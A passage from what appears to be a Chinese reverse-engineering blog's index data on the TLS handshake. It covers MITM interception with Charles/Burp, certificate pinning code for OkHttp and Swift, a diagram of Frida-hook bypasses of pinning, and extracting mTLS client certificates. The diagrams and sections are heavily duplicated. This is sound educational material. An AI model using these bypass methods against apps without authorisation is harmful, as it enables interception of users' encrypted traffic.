Client,Server: MITM 攻击场景 Client-\u003e\u003eProxy: Client Hello (访问 api.example.com) Proxy-\u003e\u003eServer: 转发 Client Hello Server-\u003e\u003eProxy: Server Hello + 真实证书 Note over Proxy: 生成伪造证书- 签发者: Charles CA- 主题: api.example.com Proxy-\u003e\u003eClient: 返回伪造证书 alt 客户端未信任 Charles CA Note over Client: ❌ 证书验证失败连接中断 else 客户端已信任 Charles CA Note over Client: ✅ 证书验证通过建立加密连接 Client-\u003e\u003eProxy: 加密数据 (用伪造证书公钥) Note over Proxy: 解密客户端数据 查看/修改 重新加密 Proxy-\u003e\u003eServer: 转发到服务器 (用真实证书) Server-\u003e\u003eProxy: 加密响应 Note over Proxy: 解密服务器响应 查看/修改 重新加密 Proxy-\u003e\u003eClient: 返回给客户端 end sequenceDiagram participant Client as 客户端(APP/浏览器) participant Proxy as 中间人代理(Charles/Burp) participant Server as 目标服务器 Note over Client,Server: 正常 HTTPS 连接（无代理） Client-\u003e\u003eServer: 直接建立 TLS 连接 Server-\u003e\u003eClient: 返回真实服务器证书 Note over Client: 验证通过，建立加密连接 Note over Client,Server: MITM 攻击场景 Client-\u003e\u003eProxy: Client Hello (访问 api.example.com) Proxy-\u003e\u003eServer: 转发 Client Hello Server-\u003e\u003eProxy: Server Hello + 真实证书 Note over Proxy: 生成伪造证书- 签发者: Charles CA- 主题: api.example.com Proxy-\u003e\u003eClient: 返回伪造证书 alt 客户端未信任 Charles CA Note over Client: ❌ 证书验证失败连接中断 else 客户端已信任 Charles CA Note over Client: ✅ 证书验证通过建立加密连接 Client-\u003e\u003eProxy: 加密数据 (用伪造证书公钥) Note over Proxy: 解密客户端数据 查看/修改 重新加密 Proxy-\u003e\u003eServer: 转发到服务器 (用真实证书) Server-\u003e\u003eProxy: 加密响应 Note over Proxy: 解密服务器响应 查看/修改 重新加密 Proxy-\u003e\u003eClient: 返回给客户端 end sequenceDiagram participant Client as 客户端(APP/浏览器) participant Proxy as 中间人代理(Charles/Burp) participant Server as 目标服务器 Note over Client,Server: 正常 HTTPS 连接（无代理） Client-\u003e\u003eServer: 直接建立 TLS 连接 Server-\u003e\u003eClient: 返回真实服务器证书 Note over Client: 验证通过，建立加密连接 Note over Client,Server: MITM 攻击场景 Client-\u003e\u003eProxy: Client Hello (访问 api.example.com) Proxy-\u003e\u003eServer: 转发 Client Hello Server-\u003e\u003eProxy: Server Hello + 真实证书 Note over Proxy: 生成伪造证书- 签发者: Charles CA- 主题: api.example.com Proxy-\u003e\u003eClient: 返回伪造证书 alt 客户端未信任 Charles CA Note over Client: ❌ 证书验证失败连接中断 else 客户端已信任 Charles CA Note over Client: ✅ 证书验证通过建立加密连接 Client-\u003e\u003eProxy: 加密数据 (用伪造证书公钥) Note over Proxy: 解密客户端数据 查看/修改 重新加密 Proxy-\u003e\u003eServer: 转发到服务器 (用真实证书) Server-\u003e\u003eProxy: 加密响应 Note over Proxy: 解密服务器响应 查看/修改 重新加密 Proxy-\u003e\u003eClient: 返回给客户端 end sequenceDiagram participant Client as 客户端(APP/浏览器) participant Proxy as 中间人代理(Charles/Burp) participant Server as 目标服务器 Note over Client,Server: 正常 HTTPS 连接（无代理） Client-\u003e\u003eServer: 直接建立 TLS 连接 Server-\u003e\u003eClient: 返回真实服务器证书 Note over Client: 验证通过，建立加密连接 Note over Client,Server: MITM 攻击场景 Client-\u003e\u003eProxy: Client Hello (访问 api.example.com) Proxy-\u003e\u003eServer: 转发 Client Hello Server-\u003e\u003eProxy: Server Hello + 真实证书 Note over Proxy: 生成伪造证书- 签发者: Charles CA- 主题: api.example.com Proxy-\u003e\u003eClient: 返回伪造证书 alt 客户端未信任 Charles CA Note over Client: ❌ 证书验证失败连接中断 else 客户端已信任 Charles CA Note over Client: ✅ 证书验证通过建立加密连接 Client-\u003e\u003eProxy: 加密数据 (用伪造证书公钥) Note over Proxy: 解密客户端数据 查看/修改 重新加密 Proxy-\u003e\u003eServer: 转发到服务器 (用真实证书) Server-\u003e\u003eProxy: 加密响应 Note over Proxy: 解密服务器响应 查看/修改 重新加密 Proxy-\u003e\u003eClient: 返回给客户端 end ","date":"2024-06-08","objectID":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/:4:1","tags":["Web","HTTP","RSA","Native层","签名验证","Frida"],"title":"TLS/SSL 握手过程","uri":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/#mitm-攻击原理图"},{"categories":null,"collections":null,"content":"2. Certificate Pinning (证书固定) 为了防止中间人攻击，许多 APP 内置了服务器证书的指纹（Hash），在 TLS 握手时，不仅验证证书是否可信，还要比对公钥 Hash 是否与内置的一致。如果仅仅在系统中安装了 Charles 证书，APP 发现 Hash 不匹配，依然会报错。 Certificate Pinning 验证流程 flowchart TD A[开始 TLS 握手] --\u003e B[接收服务器证书] B --\u003e C{系统证书链验证} C --\u003e|失败| D[❌ 连接失败] C --\u003e|通过| E{Certificate Pinning启用?} E --\u003e|未启用| F[✅ 建立连接] E --\u003e|已启用| G[提取证书公钥] G --\u003e H[计算公钥 HashSHA256/SHA1] H --\u003e I{Hash 是否匹配内置指纹?} I --\u003e|匹配| F I --\u003e|不匹配| J[❌ Pinning 验证失败连接中断] style D fill:#ff6b6b style F fill:#51cf66 style J fill:#ff6b6b flowchart TD A[开始 TLS 握手] --\u003e B[接收服务器证书] B --\u003e C{系统证书链验证} C --\u003e|失败| D[❌ 连接失败] C --\u003e|通过| E{Certificate Pinning启用?} E --\u003e|未启用| F[✅ 建立连接] E --\u003e|已启用| G[提取证书公钥] G --\u003e H[计算公钥 HashSHA256/SHA1] H --\u003e I{Hash 是否匹配内置指纹?} I --\u003e|匹配| F I --\u003e|不匹配| J[❌ Pinning 验证失败连接中断] style D fill:#ff6b6b style F fill:#51cf66 style J fill:#ff6b6b flowchart TD A[开始 TLS 握手] --\u003e B[接收服务器证书] B --\u003e C{系统证书链验证} C --\u003e|失败| D[❌ 连接失败] C --\u003e|通过| E{Certificate Pinning启用?} E --\u003e|未启用| F[✅ 建立连接] E --\u003e|已启用| G[提取证书公钥] G --\u003e H[计算公钥 HashSHA256/SHA1] H --\u003e I{Hash 是否匹配内置指纹?} I --\u003e|匹配| F I --\u003e|不匹配| J[❌ Pinning 验证失败连接中断] style D fill:#ff6b6b style F fill:#51cf66 style J fill:#ff6b6b flowchart TD A[开始 TLS 握手] --\u003e B[接收服务器证书] B --\u003e C{系统证书链验证} C --\u003e|失败| D[❌ 连接失败] C --\u003e|通过| E{Certificate Pinning启用?} E --\u003e|未启用| F[✅ 建立连接] E --\u003e|已启用| G[提取证书公钥] G --\u003e H[计算公钥 HashSHA256/SHA1] H --\u003e I{Hash 是否匹配内置指纹?} I --\u003e|匹配| F I --\u003e|不匹配| J[❌ Pinning 验证失败连接中断] style D fill:#ff6b6b style F fill:#51cf66 style J fill:#ff6b6b Pinning 实现示例 Android (OkHttp): // 内置证书公钥 Hash CertificatePinner certificatePinner = new CertificatePinner.Builder() .add(\"api.example.com\", \"sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\") .build(); OkHttpClient client = new OkHttpClient.Builder() .certificatePinner(certificatePinner) .build(); iOS (Swift): func urlSession(_ session: URLSession, didReceive challenge: URLAuthenticationChallenge, completionHandler: @escaping (URLSession.AuthChallengeDisposition, URLCredential?) -\u003e Void) { guard let serverTrust = challenge.protectionSpace.serverTrust, let certificate = SecTrustGetCertificateAtIndex(serverTrust, 0) else { completionHandler(.cancelAuthenticationChallenge, nil) return } // 计算公钥 Hash let serverPublicKeyHash = sha256(certificate) let pinnedHash = \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\" if serverPublicKeyHash == pinnedHash { completionHandler(.useCredential, URLCredential(trust: serverTrust)) } else { completionHandler(.cancelAuthenticationChallenge, nil) } } [Reverse Engineering Context] 绕过 Pinning Pinning 逻辑通常在网络库（OkHttp, AFNetworking）或 Native 层（OpenSSL, BoringSSL）的回调中。 flowchart TD A[识别 Pinning 机制] --\u003e B{Pinning 层级} B --\u003e|Java/Kotlin 层| C[Hook 网络库] B --\u003e|Native 层| D[Hook SSL 库] B --\u003e|多层防护| E[组合绕过] C --\u003e C1[方案 1: Hook TrustManager] C1 --\u003e C1A[\"Hook checkServerTrusted()直接返回 true\"] C --\u003e C2[方案 2: Hook OkHttp] C2 --\u003e C2A[\"Hook CertificatePinner.check()跳过验证\"] D --\u003e D1[方案 3: Hook OpenSSL] D1 --\u003e D1A[\"Hook SSL_CTX_set_verify()禁用验证回调\"] D --\u003e D2[方案 4: Hook BoringSSL] D2 --\u003e D2A[\"Hook ssl_verify_peer_cert()强制返回成功\"] E --\u003e E1[Frida 多点 Hook] E1 --\u003e E1A[同时 Hook Java + Native 层] C1A --\u003e F[✅ 绕过成功] C2A --\u003e F D1A --\u003e F D2A --\u003e F E1A --\u003e F style F fill:#51cf66 flowchart TD A[识别 Pinning 机制] --\u003e B{Pinning 层级} B --\u003e|Java/Kotlin 层| C[Hook 网络库] B --\u003e|Native 层| D[Hook SSL 库] B --\u003e|多层防护| E[组合绕过] C --\u003e C1[方案 1: Hook TrustManager] C1 --\u003e C1A[\"Hook checkServerTrusted()直接返回 true\"] C --\u003e C2[方案 2: Hook OkHttp] C2 --\u003e C2A[\"Hook CertificatePinner.check()跳过验证\"] D --\u003e D1[方案 3: Hook OpenSSL] D1 --\u003e D1A[\"Hook SSL_CTX_set_verify()禁用验证回调\"] D --\u003e D2[方案 4: Hook BoringSSL] D2 --\u003e D2A[\"Hook ssl_verify_peer_cert()强制返回成功\"] E --\u003e E1[Frida 多点 Hook] E1 --\u003e E1A[同时 Hook Java + Native 层] C1A --\u003e F[✅ 绕过成功] C2A --\u003e F D1A --\u003e F D2A --\u003e F E1A --\u003e F style F fill:#51cf66 flowchart TD A[识别 Pinning 机制] --\u003e B{Pinning 层级} B --\u003e|Java/Kotlin 层| C[Hook 网络库] B --\u003e|Native 层| D[Hook SSL 库] B --\u003e|多层防护| E[组合绕过] C --\u003e C1[方案 1: Hook TrustManager] C1 --\u003e C1A[\"Hook checkServerTrusted()直接返回 true\"] C --\u003e C2[方案 2: Hook OkHttp] C2 --\u003e C2A[\"Hook CertificatePi","date":"2024-06-08","objectID":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/:4:2","tags":["Web","HTTP","RSA","Native层","签名验证","Frida"],"title":"TLS/SSL 握手过程","uri":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/#2-certificate-pinning-证书固定"},{"categories":null,"collections":null,"content":"2. Certificate Pinning (证书固定) 为了防止中间人攻击，许多 APP 内置了服务器证书的指纹（Hash），在 TLS 握手时，不仅验证证书是否可信，还要比对公钥 Hash 是否与内置的一致。如果仅仅在系统中安装了 Charles 证书，APP 发现 Hash 不匹配，依然会报错。 Certificate Pinning 验证流程 flowchart TD A[开始 TLS 握手] --\u003e B[接收服务器证书] B --\u003e C{系统证书链验证} C --\u003e|失败| D[❌ 连接失败] C --\u003e|通过| E{Certificate Pinning启用?} E --\u003e|未启用| F[✅ 建立连接] E --\u003e|已启用| G[提取证书公钥] G --\u003e H[计算公钥 HashSHA256/SHA1] H --\u003e I{Hash 是否匹配内置指纹?} I --\u003e|匹配| F I --\u003e|不匹配| J[❌ Pinning 验证失败连接中断] style D fill:#ff6b6b style F fill:#51cf66 style J fill:#ff6b6b flowchart TD A[开始 TLS 握手] --\u003e B[接收服务器证书] B --\u003e C{系统证书链验证} C --\u003e|失败| D[❌ 连接失败] C --\u003e|通过| E{Certificate Pinning启用?} E --\u003e|未启用| F[✅ 建立连接] E --\u003e|已启用| G[提取证书公钥] G --\u003e H[计算公钥 HashSHA256/SHA1] H --\u003e I{Hash 是否匹配内置指纹?} I --\u003e|匹配| F I --\u003e|不匹配| J[❌ Pinning 验证失败连接中断] style D fill:#ff6b6b style F fill:#51cf66 style J fill:#ff6b6b flowchart TD A[开始 TLS 握手] --\u003e B[接收服务器证书] B --\u003e C{系统证书链验证} C --\u003e|失败| D[❌ 连接失败] C --\u003e|通过| E{Certificate Pinning启用?} E --\u003e|未启用| F[✅ 建立连接] E --\u003e|已启用| G[提取证书公钥] G --\u003e H[计算公钥 HashSHA256/SHA1] H --\u003e I{Hash 是否匹配内置指纹?} I --\u003e|匹配| F I --\u003e|不匹配| J[❌ Pinning 验证失败连接中断] style D fill:#ff6b6b style F fill:#51cf66 style J fill:#ff6b6b flowchart TD A[开始 TLS 握手] --\u003e B[接收服务器证书] B --\u003e C{系统证书链验证} C --\u003e|失败| D[❌ 连接失败] C --\u003e|通过| E{Certificate Pinning启用?} E --\u003e|未启用| F[✅ 建立连接] E --\u003e|已启用| G[提取证书公钥] G --\u003e H[计算公钥 HashSHA256/SHA1] H --\u003e I{Hash 是否匹配内置指纹?} I --\u003e|匹配| F I --\u003e|不匹配| J[❌ Pinning 验证失败连接中断] style D fill:#ff6b6b style F fill:#51cf66 style J fill:#ff6b6b Pinning 实现示例 Android (OkHttp): // 内置证书公钥 Hash CertificatePinner certificatePinner = new CertificatePinner.Builder() .add(\"api.example.com\", \"sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\") .build(); OkHttpClient client = new OkHttpClient.Builder() .certificatePinner(certificatePinner) .build(); iOS (Swift): func urlSession(_ session: URLSession, didReceive challenge: URLAuthenticationChallenge, completionHandler: @escaping (URLSession.AuthChallengeDisposition, URLCredential?) -\u003e Void) { guard let serverTrust = challenge.protectionSpace.serverTrust, let certificate = SecTrustGetCertificateAtIndex(serverTrust, 0) else { completionHandler(.cancelAuthenticationChallenge, nil) return } // 计算公钥 Hash let serverPublicKeyHash = sha256(certificate) let pinnedHash = \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\" if serverPublicKeyHash == pinnedHash { completionHandler(.useCredential, URLCredential(trust: serverTrust)) } else { completionHandler(.cancelAuthenticationChallenge, nil) } } [Reverse Engineering Context] 绕过 Pinning Pinning 逻辑通常在网络库（OkHttp, AFNetworking）或 Native 层（OpenSSL, BoringSSL）的回调中。 flowchart TD A[识别 Pinning 机制] --\u003e B{Pinning 层级} B --\u003e|Java/Kotlin 层| C[Hook 网络库] B --\u003e|Native 层| D[Hook SSL 库] B --\u003e|多层防护| E[组合绕过] C --\u003e C1[方案 1: Hook TrustManager] C1 --\u003e C1A[\"Hook checkServerTrusted()直接返回 true\"] C --\u003e C2[方案 2: Hook OkHttp] C2 --\u003e C2A[\"Hook CertificatePinner.check()跳过验证\"] D --\u003e D1[方案 3: Hook OpenSSL] D1 --\u003e D1A[\"Hook SSL_CTX_set_verify()禁用验证回调\"] D --\u003e D2[方案 4: Hook BoringSSL] D2 --\u003e D2A[\"Hook ssl_verify_peer_cert()强制返回成功\"] E --\u003e E1[Frida 多点 Hook] E1 --\u003e E1A[同时 Hook Java + Native 层] C1A --\u003e F[✅ 绕过成功] C2A --\u003e F D1A --\u003e F D2A --\u003e F E1A --\u003e F style F fill:#51cf66 flowchart TD A[识别 Pinning 机制] --\u003e B{Pinning 层级} B --\u003e|Java/Kotlin 层| C[Hook 网络库] B --\u003e|Native 层| D[Hook SSL 库] B --\u003e|多层防护| E[组合绕过] C --\u003e C1[方案 1: Hook TrustManager] C1 --\u003e C1A[\"Hook checkServerTrusted()直接返回 true\"] C --\u003e C2[方案 2: Hook OkHttp] C2 --\u003e C2A[\"Hook CertificatePinner.check()跳过验证\"] D --\u003e D1[方案 3: Hook OpenSSL] D1 --\u003e D1A[\"Hook SSL_CTX_set_verify()禁用验证回调\"] D --\u003e D2[方案 4: Hook BoringSSL] D2 --\u003e D2A[\"Hook ssl_verify_peer_cert()强制返回成功\"] E --\u003e E1[Frida 多点 Hook] E1 --\u003e E1A[同时 Hook Java + Native 层] C1A --\u003e F[✅ 绕过成功] C2A --\u003e F D1A --\u003e F D2A --\u003e F E1A --\u003e F style F fill:#51cf66 flowchart TD A[识别 Pinning 机制] --\u003e B{Pinning 层级} B --\u003e|Java/Kotlin 层| C[Hook 网络库] B --\u003e|Native 层| D[Hook SSL 库] B --\u003e|多层防护| E[组合绕过] C --\u003e C1[方案 1: Hook TrustManager] C1 --\u003e C1A[\"Hook checkServerTrusted()直接返回 true\"] C --\u003e C2[方案 2: Hook OkHttp] C2 --\u003e C2A[\"Hook CertificatePi","date":"2024-06-08","objectID":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/:4:2","tags":["Web","HTTP","RSA","Native层","签名验证","Frida"],"title":"TLS/SSL 握手过程","uri":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/#certificate-pinning-验证流程"},{"categories":null,"collections":null,"content":"2. Certificate Pinning (证书固定) 为了防止中间人攻击，许多 APP 内置了服务器证书的指纹（Hash），在 TLS 握手时，不仅验证证书是否可信，还要比对公钥 Hash 是否与内置的一致。如果仅仅在系统中安装了 Charles 证书，APP 发现 Hash 不匹配，依然会报错。 Certificate Pinning 验证流程 flowchart TD A[开始 TLS 握手] --\u003e B[接收服务器证书] B --\u003e C{系统证书链验证} C --\u003e|失败| D[❌ 连接失败] C --\u003e|通过| E{Certificate Pinning启用?} E --\u003e|未启用| F[✅ 建立连接] E --\u003e|已启用| G[提取证书公钥] G --\u003e H[计算公钥 HashSHA256/SHA1] H --\u003e I{Hash 是否匹配内置指纹?} I --\u003e|匹配| F I --\u003e|不匹配| J[❌ Pinning 验证失败连接中断] style D fill:#ff6b6b style F fill:#51cf66 style J fill:#ff6b6b flowchart TD A[开始 TLS 握手] --\u003e B[接收服务器证书] B --\u003e C{系统证书链验证} C --\u003e|失败| D[❌ 连接失败] C --\u003e|通过| E{Certificate Pinning启用?} E --\u003e|未启用| F[✅ 建立连接] E --\u003e|已启用| G[提取证书公钥] G --\u003e H[计算公钥 HashSHA256/SHA1] H --\u003e I{Hash 是否匹配内置指纹?} I --\u003e|匹配| F I --\u003e|不匹配| J[❌ Pinning 验证失败连接中断] style D fill:#ff6b6b style F fill:#51cf66 style J fill:#ff6b6b flowchart TD A[开始 TLS 握手] --\u003e B[接收服务器证书] B --\u003e C{系统证书链验证} C --\u003e|失败| D[❌ 连接失败] C --\u003e|通过| E{Certificate Pinning启用?} E --\u003e|未启用| F[✅ 建立连接] E --\u003e|已启用| G[提取证书公钥] G --\u003e H[计算公钥 HashSHA256/SHA1] H --\u003e I{Hash 是否匹配内置指纹?} I --\u003e|匹配| F I --\u003e|不匹配| J[❌ Pinning 验证失败连接中断] style D fill:#ff6b6b style F fill:#51cf66 style J fill:#ff6b6b flowchart TD A[开始 TLS 握手] --\u003e B[接收服务器证书] B --\u003e C{系统证书链验证} C --\u003e|失败| D[❌ 连接失败] C --\u003e|通过| E{Certificate Pinning启用?} E --\u003e|未启用| F[✅ 建立连接] E --\u003e|已启用| G[提取证书公钥] G --\u003e H[计算公钥 HashSHA256/SHA1] H --\u003e I{Hash 是否匹配内置指纹?} I --\u003e|匹配| F I --\u003e|不匹配| J[❌ Pinning 验证失败连接中断] style D fill:#ff6b6b style F fill:#51cf66 style J fill:#ff6b6b Pinning 实现示例 Android (OkHttp): // 内置证书公钥 Hash CertificatePinner certificatePinner = new CertificatePinner.Builder() .add(\"api.example.com\", \"sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\") .build(); OkHttpClient client = new OkHttpClient.Builder() .certificatePinner(certificatePinner) .build(); iOS (Swift): func urlSession(_ session: URLSession, didReceive challenge: URLAuthenticationChallenge, completionHandler: @escaping (URLSession.AuthChallengeDisposition, URLCredential?) -\u003e Void) { guard let serverTrust = challenge.protectionSpace.serverTrust, let certificate = SecTrustGetCertificateAtIndex(serverTrust, 0) else { completionHandler(.cancelAuthenticationChallenge, nil) return } // 计算公钥 Hash let serverPublicKeyHash = sha256(certificate) let pinnedHash = \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\" if serverPublicKeyHash == pinnedHash { completionHandler(.useCredential, URLCredential(trust: serverTrust)) } else { completionHandler(.cancelAuthenticationChallenge, nil) } } [Reverse Engineering Context] 绕过 Pinning Pinning 逻辑通常在网络库（OkHttp, AFNetworking）或 Native 层（OpenSSL, BoringSSL）的回调中。 flowchart TD A[识别 Pinning 机制] --\u003e B{Pinning 层级} B --\u003e|Java/Kotlin 层| C[Hook 网络库] B --\u003e|Native 层| D[Hook SSL 库] B --\u003e|多层防护| E[组合绕过] C --\u003e C1[方案 1: Hook TrustManager] C1 --\u003e C1A[\"Hook checkServerTrusted()直接返回 true\"] C --\u003e C2[方案 2: Hook OkHttp] C2 --\u003e C2A[\"Hook CertificatePinner.check()跳过验证\"] D --\u003e D1[方案 3: Hook OpenSSL] D1 --\u003e D1A[\"Hook SSL_CTX_set_verify()禁用验证回调\"] D --\u003e D2[方案 4: Hook BoringSSL] D2 --\u003e D2A[\"Hook ssl_verify_peer_cert()强制返回成功\"] E --\u003e E1[Frida 多点 Hook] E1 --\u003e E1A[同时 Hook Java + Native 层] C1A --\u003e F[✅ 绕过成功] C2A --\u003e F D1A --\u003e F D2A --\u003e F E1A --\u003e F style F fill:#51cf66 flowchart TD A[识别 Pinning 机制] --\u003e B{Pinning 层级} B --\u003e|Java/Kotlin 层| C[Hook 网络库] B --\u003e|Native 层| D[Hook SSL 库] B --\u003e|多层防护| E[组合绕过] C --\u003e C1[方案 1: Hook TrustManager] C1 --\u003e C1A[\"Hook checkServerTrusted()直接返回 true\"] C --\u003e C2[方案 2: Hook OkHttp] C2 --\u003e C2A[\"Hook CertificatePinner.check()跳过验证\"] D --\u003e D1[方案 3: Hook OpenSSL] D1 --\u003e D1A[\"Hook SSL_CTX_set_verify()禁用验证回调\"] D --\u003e D2[方案 4: Hook BoringSSL] D2 --\u003e D2A[\"Hook ssl_verify_peer_cert()强制返回成功\"] E --\u003e E1[Frida 多点 Hook] E1 --\u003e E1A[同时 Hook Java + Native 层] C1A --\u003e F[✅ 绕过成功] C2A --\u003e F D1A --\u003e F D2A --\u003e F E1A --\u003e F style F fill:#51cf66 flowchart TD A[识别 Pinning 机制] --\u003e B{Pinning 层级} B --\u003e|Java/Kotlin 层| C[Hook 网络库] B --\u003e|Native 层| D[Hook SSL 库] B --\u003e|多层防护| E[组合绕过] C --\u003e C1[方案 1: Hook TrustManager] C1 --\u003e C1A[\"Hook checkServerTrusted()直接返回 true\"] C --\u003e C2[方案 2: Hook OkHttp] C2 --\u003e C2A[\"Hook CertificatePi","date":"2024-06-08","objectID":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/:4:2","tags":["Web","HTTP","RSA","Native层","签名验证","Frida"],"title":"TLS/SSL 握手过程","uri":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/#pinning-实现示例"},{"categories":null,"collections":null,"content":"2. Certificate Pinning (证书固定) 为了防止中间人攻击，许多 APP 内置了服务器证书的指纹（Hash），在 TLS 握手时，不仅验证证书是否可信，还要比对公钥 Hash 是否与内置的一致。如果仅仅在系统中安装了 Charles 证书，APP 发现 Hash 不匹配，依然会报错。 Certificate Pinning 验证流程 flowchart TD A[开始 TLS 握手] --\u003e B[接收服务器证书] B --\u003e C{系统证书链验证} C --\u003e|失败| D[❌ 连接失败] C --\u003e|通过| E{Certificate Pinning启用?} E --\u003e|未启用| F[✅ 建立连接] E --\u003e|已启用| G[提取证书公钥] G --\u003e H[计算公钥 HashSHA256/SHA1] H --\u003e I{Hash 是否匹配内置指纹?} I --\u003e|匹配| F I --\u003e|不匹配| J[❌ Pinning 验证失败连接中断] style D fill:#ff6b6b style F fill:#51cf66 style J fill:#ff6b6b flowchart TD A[开始 TLS 握手] --\u003e B[接收服务器证书] B --\u003e C{系统证书链验证} C --\u003e|失败| D[❌ 连接失败] C --\u003e|通过| E{Certificate Pinning启用?} E --\u003e|未启用| F[✅ 建立连接] E --\u003e|已启用| G[提取证书公钥] G --\u003e H[计算公钥 HashSHA256/SHA1] H --\u003e I{Hash 是否匹配内置指纹?} I --\u003e|匹配| F I --\u003e|不匹配| J[❌ Pinning 验证失败连接中断] style D fill:#ff6b6b style F fill:#51cf66 style J fill:#ff6b6b flowchart TD A[开始 TLS 握手] --\u003e B[接收服务器证书] B --\u003e C{系统证书链验证} C --\u003e|失败| D[❌ 连接失败] C --\u003e|通过| E{Certificate Pinning启用?} E --\u003e|未启用| F[✅ 建立连接] E --\u003e|已启用| G[提取证书公钥] G --\u003e H[计算公钥 HashSHA256/SHA1] H --\u003e I{Hash 是否匹配内置指纹?} I --\u003e|匹配| F I --\u003e|不匹配| J[❌ Pinning 验证失败连接中断] style D fill:#ff6b6b style F fill:#51cf66 style J fill:#ff6b6b flowchart TD A[开始 TLS 握手] --\u003e B[接收服务器证书] B --\u003e C{系统证书链验证} C --\u003e|失败| D[❌ 连接失败] C --\u003e|通过| E{Certificate Pinning启用?} E --\u003e|未启用| F[✅ 建立连接] E --\u003e|已启用| G[提取证书公钥] G --\u003e H[计算公钥 HashSHA256/SHA1] H --\u003e I{Hash 是否匹配内置指纹?} I --\u003e|匹配| F I --\u003e|不匹配| J[❌ Pinning 验证失败连接中断] style D fill:#ff6b6b style F fill:#51cf66 style J fill:#ff6b6b Pinning 实现示例 Android (OkHttp): // 内置证书公钥 Hash CertificatePinner certificatePinner = new CertificatePinner.Builder() .add(\"api.example.com\", \"sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\") .build(); OkHttpClient client = new OkHttpClient.Builder() .certificatePinner(certificatePinner) .build(); iOS (Swift): func urlSession(_ session: URLSession, didReceive challenge: URLAuthenticationChallenge, completionHandler: @escaping (URLSession.AuthChallengeDisposition, URLCredential?) -\u003e Void) { guard let serverTrust = challenge.protectionSpace.serverTrust, let certificate = SecTrustGetCertificateAtIndex(serverTrust, 0) else { completionHandler(.cancelAuthenticationChallenge, nil) return } // 计算公钥 Hash let serverPublicKeyHash = sha256(certificate) let pinnedHash = \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\" if serverPublicKeyHash == pinnedHash { completionHandler(.useCredential, URLCredential(trust: serverTrust)) } else { completionHandler(.cancelAuthenticationChallenge, nil) } } [Reverse Engineering Context] 绕过 Pinning Pinning 逻辑通常在网络库（OkHttp, AFNetworking）或 Native 层（OpenSSL, BoringSSL）的回调中。 flowchart TD A[识别 Pinning 机制] --\u003e B{Pinning 层级} B --\u003e|Java/Kotlin 层| C[Hook 网络库] B --\u003e|Native 层| D[Hook SSL 库] B --\u003e|多层防护| E[组合绕过] C --\u003e C1[方案 1: Hook TrustManager] C1 --\u003e C1A[\"Hook checkServerTrusted()直接返回 true\"] C --\u003e C2[方案 2: Hook OkHttp] C2 --\u003e C2A[\"Hook CertificatePinner.check()跳过验证\"] D --\u003e D1[方案 3: Hook OpenSSL] D1 --\u003e D1A[\"Hook SSL_CTX_set_verify()禁用验证回调\"] D --\u003e D2[方案 4: Hook BoringSSL] D2 --\u003e D2A[\"Hook ssl_verify_peer_cert()强制返回成功\"] E --\u003e E1[Frida 多点 Hook] E1 --\u003e E1A[同时 Hook Java + Native 层] C1A --\u003e F[✅ 绕过成功] C2A --\u003e F D1A --\u003e F D2A --\u003e F E1A --\u003e F style F fill:#51cf66 flowchart TD A[识别 Pinning 机制] --\u003e B{Pinning 层级} B --\u003e|Java/Kotlin 层| C[Hook 网络库] B --\u003e|Native 层| D[Hook SSL 库] B --\u003e|多层防护| E[组合绕过] C --\u003e C1[方案 1: Hook TrustManager] C1 --\u003e C1A[\"Hook checkServerTrusted()直接返回 true\"] C --\u003e C2[方案 2: Hook OkHttp] C2 --\u003e C2A[\"Hook CertificatePinner.check()跳过验证\"] D --\u003e D1[方案 3: Hook OpenSSL] D1 --\u003e D1A[\"Hook SSL_CTX_set_verify()禁用验证回调\"] D --\u003e D2[方案 4: Hook BoringSSL] D2 --\u003e D2A[\"Hook ssl_verify_peer_cert()强制返回成功\"] E --\u003e E1[Frida 多点 Hook] E1 --\u003e E1A[同时 Hook Java + Native 层] C1A --\u003e F[✅ 绕过成功] C2A --\u003e F D1A --\u003e F D2A --\u003e F E1A --\u003e F style F fill:#51cf66 flowchart TD A[识别 Pinning 机制] --\u003e B{Pinning 层级} B --\u003e|Java/Kotlin 层| C[Hook 网络库] B --\u003e|Native 层| D[Hook SSL 库] B --\u003e|多层防护| E[组合绕过] C --\u003e C1[方案 1: Hook TrustManager] C1 --\u003e C1A[\"Hook checkServerTrusted()直接返回 true\"] C --\u003e C2[方案 2: Hook OkHttp] C2 --\u003e C2A[\"Hook CertificatePi","date":"2024-06-08","objectID":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/:4:2","tags":["Web","HTTP","RSA","Native层","签名验证","Frida"],"title":"TLS/SSL 握手过程","uri":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/#reverse-engineering-context-绕过-pinning"},{"categories":null,"collections":null,"content":"3. 双向认证 (Mutual TLS / mTLS) 服务器要求客户端也出示证书。 表现: 抓包看到服务器返回 400 Bad Request (No Client Certificate)。 逆向: 需要从 APK/IPA 或设备文件系统中提取出 .p12 或 .bks 客户端证书，并导入到 Charles/Burp 中。 ","date":"2024-06-08","objectID":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/:4:3","tags":["Web","HTTP","RSA","Native层","签名验证","Frida"],"title":"TLS/SSL 握手过程","uri":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/#3-双向认证-mutual-tls--mtls"},{"categories":null,"collections":null,"content":"总结 TLS 握手是 HTTP 之前的“暗号对接”。 正向: 保证数据不被窃听和篡改。 逆向: 